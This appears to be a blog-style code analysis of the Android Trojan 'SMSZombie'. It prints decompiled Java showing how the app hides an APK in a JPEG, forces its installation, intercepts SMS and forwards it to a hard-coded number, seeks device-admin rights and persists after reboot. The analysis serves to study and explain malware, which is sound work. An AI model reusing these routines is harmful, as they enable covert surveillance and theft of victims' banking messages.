Hi guys
But, the hidden APK requests a lot more permissions. This includes the following permissions:
On July 25th, a new Android Trojan has been detected. This attack has allegedly infected more than 500,000 smartphones. It is called "SMSZombie”.
The main purpose of this malware was to steal bank information from victims by reading SMS received by the mobile phone. The malware have spread through the largest Chinese Android Marketplace. The present post -- which will be developped day after day like a summer serie -- intends to provide an in-depth code analysis of this malware.
The purpose of this analysis is to understand and explain which mechanisms are used in a real Android malware used in the wild. Consequently, we will describe step by step how this malware is working in details. Finally, a full commented code will be published at the end of our analysis.
First we have decompiled the malware with the Dex2Jar and the Jad tools. In fact, this malware appears in several forms. In the mobile app marketplace, this application is presented like a simple wallpaper app. However, the interesting thing is that the malicious code is hidden in a JPEG file in the \assets directory of the APK (Android application package file). When you install it, it looks like a harmless application. Indeed, only one permission is requested:
But, the hidden APK requests a lot more permissions. This includes the following permissions:
android.permission.BIND_DEVICE_ADMIN
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.RECEIVE_SMS
android.permission.SEND_SMS
android.permission.READ_SMS
android.permission.WRITE_SMS
android.permission.INTERNET
android.permission.ACCESS_NETWORK_STATE
android.permission.READ_PHONE_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.READ_LOGS
android.permission.KILL_BACKGROUND_PROCESSES
android.permission.RESTART_PACKAGES
android.permission.GET_TASKS
It means that if you install this app you will only accept for one harmless permission, instead of a lot of dangerous permissions. It is so difficult to imagine that this app in the largest China market is malicious.
Regarding the malware procedure, we will start our analysis on the way this app installs the hidden APK from a JPEG file. Then, we will try to understand the code of the hidden malicious APK.
Exploiting Android Live Wallpaper apps operations to perform malicious actions in background every 2 seconds
To be stealthy, the malware is hidden in a common live wallpaper application. In fact, live wallpapers are animated backgrounds for home screens. The interesting thing for the attacker lies in the fact that the app allows automatic changes of wallpapers within a specified time interval. It means that some actions are done by the app during each time interval.
Indeed, whenever a live wallpaper has been selected by the victim as the smartphone's wallpaper, a malicious thread is launched every 2 seconds. As a matter of fact, to develop a new live wallpaper app, you can use predefined classes from the android package: android.service.wallpaper. Android’s documentation defines the WallpaperService class as: “responsible for showing a live wallpaper behind applications that would like to sit on top of it.” It means that an attacker could use it in order to have a constant application working in background. It is so a pretty good choice to do a malware on Android.
Thus, the attacker can redefine the method onCreateEngine of the package android.service.wallpaper.WallpaperService.Engine.
public android.service.wallpaper.WallpaperService.
Engine onCreateEngine(){ }
Then, when the onCreateEngine( ) method is called, a new thread is created. This can be done by creating a new instance of the class Runnable.
Runnable runnable = new Runnable() {
public void run(){
// malicious routine, launched every 2 seconds
}
Normally, creating a Runnable routine is used to draw a new wallpaper at each time interval. But in this case, it is used to install or launch the malware. Consequently, we will see in detail what is done at each time intervall.
Runnable Routine of the Wallpaper app In-depth Analysis
Thus, every 2 seconds, a thread is launched by the WallpaperService engine as a background task. To make the analysis clearer, only relevant methods will be explained hereafter.
The first function of interest is called in the method run() : initpackagNameList(). The purpose of this method is basically to get a list of all installed packages on the device. More precisely, the following line is used:
List list = getPackageManager().getInstalledPackages(0);
In combination with the PackageInfo class, it allows you to get relevant information about all the packages installed in an Android Phone. In this case, only the packages’ names are necessary.
boolean flag = detectApk("android.phone.com");
Method detectApk does a simple looking for the package android.phone.com in the list stored by the method initpackagNameList(). As you probably guessed, android.phone.com is the package which contains the malware. We will describe it later in our analysis.
Therefore, the app detects if the malware is already installed on the device. Else, a new activity is launched: jifenActivity. Furthermore, if the malware is installed, it also tests if the malware app is started. To do so, isServiceStarted method is called.
If(BXWallActivity.isServiceStarted(getApplicationContext(),
"android.phone.com"){
// it’s ok
}
else{
// start the jifenactivity
// and so, launch/install the malware
}
Basically, the method isServiceStarted checks if the malware package android.phone.com is present in the activity manager of the Android system. To do this, the following code is used:
Iterator iterator =
((ActivityManager)context.getSystemService("activity")).
getRunningServices(1000).iterator();
In parallel, a private receiver MyReceiver which extends BroadcastReceiver is implemented in order to intercept installation of new apps on the Android device. The method onReceive() of MyReceiver start with the following lines:
Indeed, this attack reminds strongly the history from the Greek mythology about the Trojan horse (Homer's Odyssea - Song XXIII). Except that here the horse is a JPEG file. Everything happens in the jifenActivity class. As we have seen before, the jifenActivity class is launched if the package android.com.phone is neither installed nor even started on the device.
if(!intent.getAction().equals("android.intent.action.
PACKAGE_ADDED")) return;
So, by using a BroadcastReceiver the app receives all phone events, and reacts only if a package is added on the device. Then, as surprising as it may be, the app deletes all APK files in his root directory. Indeed, getFilesDir() get files from the root directory of the current app.
File afile[ ] = getFilesDir( ).listFiles( );
Finally, the file.delete( ) method is used on all APK files in the directory.
int k = afile.length;
int l = 0;
do
{
if(l >= k)return;
File file = afile[l];
boolean flag1;
if(file.getName().endsWith(".apk")) flag1 = file.delete();
l++;
} while(true);
This procedure brings to mind that the malicious app try to protect itself.
A Real-life Trojan Horse
Indeed, this attack reminds strongly the history from the Greek mythology about the Trojan horse (Homer's Odyssea - Song XXIII). Except that here the horse is a JPEG file. Everything happens in the jifenActivity class. As we have seen before, the jifenActivity class is launched if the package android.com.phone is neither installed nor even started on the device.
Some of methods we have studied in the last section are reused in jifenActivity. So, we will not describe them again in this part. For example, the same receiver is implemented: MyReceiver().
But, what is interesting for us is to understand how the hidden APK is installed from this Activity. Let's start with the onCreate() method. Note that, in an Android Activity, onCreate is always the first method called. To better understand how an Activity works in Android, the following graph resumes the operation.
You can also refer to the official documentation of Android Activity.
The code into the onCreate() method includes a detection method of APK files that we have already seen: detectAPK(). The code is simply:
boolean flag = detectApk("android.phone.com");
But this time the action done is not the same. That is to say that if the package android.phone.com is installed on the device, the main Activity of the malware is launched by the following code:
if(flag) {
Intent intent1 = new Intent();
ComponentName componentname =
new ComponentName("android.phone.com",
"android.phone.com.AndphoneActivity");
Intent intent2 = intent1.setComponent(componentname);
Intent intent3 = intent1.setAction("android.intent.action.VIEW");
startActivity(intent1); // Start the main activity
// of the malware
finish();
}
We can so conclude that the starting point of the malware package is the AndphoneActivity. However, if android.phone.com is not installed an onClick listener is launched. This listener is firstly implemented and then set up:
android.view.View.OnClickListener onclicklistener =
new android.view.View.OnClickListener() {
public void onClick(View view)
{
// code used to force installation of the malware
}
}
imageview1.setOnClickListener(onclicklistener);
The code inside the onClick method tests once again whether the malware APK is installed on the system or not. If this is the case, android.phone.com.AndphoneActivity is started.
But additionnally, the path of the JPEG file is built and then passed as a parameter of the retrieveApkFromAssets() method. This path is created in order to write the file in the root directory of the app. The code takes a few lines:
String s5 = String.valueOf(getFilesDir().getAbsolutePath());
String s6 = (new StringBuilder(s5)).append("/a33.jpg").toString();
jifenActivity jifenactivity = jifenActivity.this;
jifenActivity jifenactivity1 = jifenActivity.this;
boolean flag1 = jifenactivity.retrieveApkFromAssets(jifenactivity1,
"a33.jpg", s6);
A second method is also called:
jifenActivity jifenactivity2 = jifenActivity.this;
jifenActivity jifenactivity3 = jifenActivity.this;
jifenactivity2.showInstallConfirmDialog(jifenactivity3, s6);
So, we will now focus on the these two methods: retrieveApkFromAssets() and showInstallConfirmDialog().
- retrieveApKFromAssets() - The retrieveApKFromAssets() method writes the a33.jpg file in the root directory of the APK. In fact, assets are packaged in the APK. It includes a33.jpg which contains in reality a malicious APK. Thus, the following line allows to the app to open the JPEG file:
inputstream = context.getAssets().open(s);
The extracted content is then written at the path from parameters:/Root Directory of the package/a33.jpg
It is in fact a kind of extraction of the malware which is initially packaged in the
APK downloaded from the GFAN Android Market.showInstallConfirmDialog() - A dialog box is shown to the victim who will click on it for sure and so triggers the installation of the malware. This dialog box is that which is on the following picture:
The message which appears is in Chinese:\u8BF7\u5B89\u88C5\u8BE5\u7A0B\u5E8F\u65E2\u53EF\u83B7
\u53D6100\u70B9\u79EF\u5206\uFF0C\u83B7\u53D6\u79EF\u5206
\u540E\u6E38\u620F\u53EF\u6C38\u4E45\u4F7F\u7528
If you want, you can try to translate it as a challenge -:). But I will not give you help for this. Nice challenge, but what is most interesting for us now is contained in the method onClick() of the listener:StringBuilder stringbuilder =
new StringBuilder("chmod 777 ");
String s = filePath;
String s1 = stringbuilder.append(s).toString();
Process process = Runtime.getRuntime().exec(s1);
Well, “chmod 777”… Knowing that the Android operating system includes the Linux Kernel 2.6, we easily understand what chmod 777 means. It changes the permissions of the JPEG file to read, write, and execute for all. So, as we can see in the code, the command line chmod 777 filepath/a33.jpg is executed on the victim’s device.Then, a new intent is created in order to start the malware APK as a new task. To be a new task, the intent has to be created by this way:Intent intent = new Intent("android.intent.action.VIEW");
Intent intent1 = intent.addFlags(0x10000000);
The flag value 0x10000000 corresponds to the FLAG_ACTIVITY_NEW_TASK flag of the official Android for developers documentation. This will launch the malware activity as a new separated task on the system. But, what is again more interesting is the following chunk of code:StringBuilder stringbuilder1 = new StringBuilder("file://");
String s2 = filePath;
Uri uri = Uri.parse(stringbuilder1.append(s2).toString());
Intent intent2 = intent.setDataAndType(uri,
"application/vnd.android.package-archive");
context.startActivity(intent);
As any googler would, I simply do a request on Google.com. My request is basically this one:As we can see, I just copy/paste one line from the code above. Obviously, the first answer means a lot: “android - how to install apk file programmatically…” But, what is worrying is that the .jpeg file has not been renamed to an .apk file... Beside, as you can see on the following picture, we can distinguish the APK magic number at the beginning of the file:
The dialog box appearing for the user (in Chinese) offers apparently two choices. But, only the Positive button is active. It means that the victim has only one choice available: “installing the malware”. Indeed, the listener of the negative button is empty…Furthermore, by the fact that the app tests every 2 seconds if the malware is installed, the victim will ultimately click on the positive button… This concludes this section about the interesting way used by the malicious app to install a part of itself on the device. At the same time, we can notice that this method has the advantage to be well stealthy in the GFAN market.The “Android. phone.com” malware: a spyware Trojan
The APK extracted from the a33.jpg file is composed of multiple activities with different roles. Because most of malicious actions inside this package are well known we will describe them only briefly. Furthermore, you can analyze them in detail by yourself since we will publish the full commented sources at the end of this analysis. The main purpose of this malware is to collect information and send it to a phone number which is known by attackers. Of course, bank accounts, money transactions, and other information to generate money are preferred. To filter the huge number of messages, a list of keywords is used and stored in a XML file: phone.xml.Firstly, we will focus on the first class which is called: AndphoneActivity. The first interesting method we have seen in this class is getRunningServiceInfo(). In this method, the malware takes information about some services running on the operating system. The following lines allow reaching this purpose:List list = mActivityManager.getRunningServices(20);
// get 20 services running on the device
Then, the RunningServiceInfo class is used to get a lot of information about the device:android.app.ActivityManager.RunningServiceInfo runningserviceinfo =
(android.app.ActivityManager.RunningServiceInfo)iterator.next();
// gives information about a particular Service that is
// currently running on the system
Theses information can be of different nature:int i = runningserviceinfo.pid;
  // If non-zero, this is the process the service is running in.
int j = runningserviceinfo.uid;
  // j = The UID that owns this service.
String s = runningserviceinfo.process;
  // s = The name of the process this service runs in.
long l = runningserviceinfo.activeSince;
…
In fact, most of what is done in this malware is to get information and send them by SMS at a phone number. Sending a SMS is very simple, it takes a few lines:S49 = “13093632006”; // the phone number
smsmanager1 = SmsManager.getDefault();
smsmanager1.sendTextMessage(s49, null, "This is a message",
null, null);
  // Send a SMS containing “This is a message”
  // at the phone number 13093632006.
If the message to send is too long, smsmanager.divideMessage(s) can be used. Data sent are many and can be very useful for the attacker:- Version of Android Operating System
- Language of the phone
- SIM’s provider Country code
- Mac address of the Android phone
- Android phone model
- ...
SMSReceiver : How to intercept SMS received?
The main idea of this class is to create a receiver for all SMS received on the victim’s device. It will intercept messages at the time when they are received on the phone. To do this, the onReceive() method is implemented to handle received messages.Firstly, messages are extracted from PDUs(protocol data units): some simple methods are so employed:- getMessageBody();
- getOriginatingAddress();
- getTimestampMillis();
Finally, messages are divided into small parts before they are sent to the phone number 13093632006. The method doing this is the following:
private void smssend(String s, String s1)
{
SmsManager smsmanager = SmsManager.getDefault();
Iterator iterator = smsmanager.divideMessage(s).iterator();
do
{
if(!iterator.hasNext()) return;
String s2 = (String)iterator.next();
String s3 = s1;
android.app.PendingIntent pendingintent = null;
android.app.PendingIntent pendingintent1 = null;
smsmanager.sendTextMessage(s3, null, s2,
pendingintent, pendingintent1);
} while(true);
How to get Privileges on the phone?
DevicePolicyManagerAnalyzing the malware, we can deduce that the onCreate() method of the android.phone.com.andphone activity seems to be the starting point to get privileges on the phone. First of all, we can remark DevicePolicyManager which is the public interface for managing policies enforced on a device. In fact, a test is done at the beginning of the activity:
if(devicepolicymanager1.isAdminActive(componentname1))
// Return true if the given administrator component
// is currently active (enabled) in the system.
The program starts a kind of loop: “while isAdminActive() returns false, the android.phone.com.deviceAdminReceiver activity is launched”. We can suppose that this receiver allows getting root access. The code in the loop is the following:Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
// add a new deviceAdmin component
ComponentName componentname2 = mDeviceComponentName;
Intent intent1 = intent.putExtra("android.app.extra.DEVICE_ADMIN",
componentname2);
Intent intent2 = intent.putExtra("android.app.extra.
ADD_EXPLANATION",
" Android \u7CFB\u7EDF\u670D\u52A1\n\u63A8\u8350\u6FC0\u6D3B
\u7CFB\u7EDF\u670D\u52A1\uFF0C\u7CFB\u7EDF\u670D\u52A1\u53EF\u4EE5
\u5E2E\u60A8\u7684\u6700\u5927\u7A0B\u5EA6\u7684\u8282\u7701\u7535
\u91CF");
startActivityForResult(intent, 1);
For those who have succeeded to decode the previous messages in Chinese, you can decode the message in the same way! For the others, I help you this time. A simple online utf-8 decoder is enough to decode the message in Chinese characters. The result is so:
Android 系统服务
推荐激活系统服务,系统服务可以帮您的最大程度的节省电量
Then, remembering that Google translate is “our friend”, the message is:Android System services
Recommended activation system services, system services can help
your greatest degree save power.
The su commandBasically, getting root access on a Linux operating system can be done by executing the command su. As you probably guessed, this is the same in an Android system. But beware, a password is needed when you use the su command. Why it is used here is that it shows whether the device is already rooted. The Runtime class allows using this technique:
process = Runtime.getRuntime().exec("su");
Of course, the program retrieves the standard output after the execution:java.io.OutputStream outputstream = process.getOutputStream();
By this way, the program checks whether the operation to root the phone worked or not. This test is done by the method getRootAhth when the android.phone.com.andphone activity exits. If the returned value is true a SMS is sent to the attacker: “Has been activated, Already root”. Else, the SMS sent is “Has been activated, No root”. This is clear that attackers have programs which handle these SMS when they are received.
TService : a malicious background service running on startup
By definition, a Service in Android is used to be running continuously. To be running on startup, a broadcast receiver is added to the application. This receiver is defined in the TServiceBroadcastReceiver class of the package. Like every receivers, the method onReceive() can be modified. Basically, a test is done with the function getAction(): if the action received is android.intent.action.BOOT_COMPLETED, TService is launched in a new task. The code corresponding is the following:
public void onReceive(Context context, Intent intent)
{
if(!intent.getAction().equals("android.intent.action.
BOOT_COMPLETED")) return;
else
{
Intent intent1 = new Intent("android.intent.action.RUN");
Intent intent2 = intent1.setClass(context,
android/phone/com/TService);
Intent intent3 = intent1.setFlags(0x10000000);
android.content.ComponentName componentname =
context.startService(intent1);
return;
}
}Now, if we look a little bit closer the TService class, we can observe that a method is implemented in order to get all SMS stored in the phone: getSmsInPhone(). The code to do this is known, it uses the method getContentResolver():
Uri uri = Uri.parse("content://sms/");
String as[] = new String[6];
as[0] = "_id";
as[1] = "address";
as[2] = "person";
as[3] = "body";
as[4] = "date";
as[5] = "type";
Cursor cursor1 = getContentResolver().query(uri, as, null, null,
"date desc");
// Query on the SQL database
if(!cursor1.moveToFirst()) goto _L2; else goto _L1
L1:
int I,j,k,l,i1;
i = cursor1.getColumnIndex("address");
j = cursor1.getColumnIndex("person");
k = cursor1.getColumnIndex("body");
l = cursor1.getColumnIndex("date");
i1 = cursor1.getColumnIndex("type");
…
Remark: getColumnIndex() returns the content from the database. Looking into the onDestroy() method of TService, we can notice that once again the program protect itself: the Service launch another instance of itself in a new task:
Intent intent = new Intent(context, android/phone/com/TService);
Intent intent1 = intent.setFlags(0x10000000);
// FLAG_ACTIVITY_NEW_TASK
ComponentName componentname = startService(intent);
Conclusion
In this analysis, all code has intentionally not been described in detail. Only parts that are very linked with the Android security point of view have been covered. Although, on what we have seen, there are many tips that are interesting from the Android Security point of view. For those who wish to go further and analyze by their own eyes, please contact me to get the decompiled and commented code of the entire application.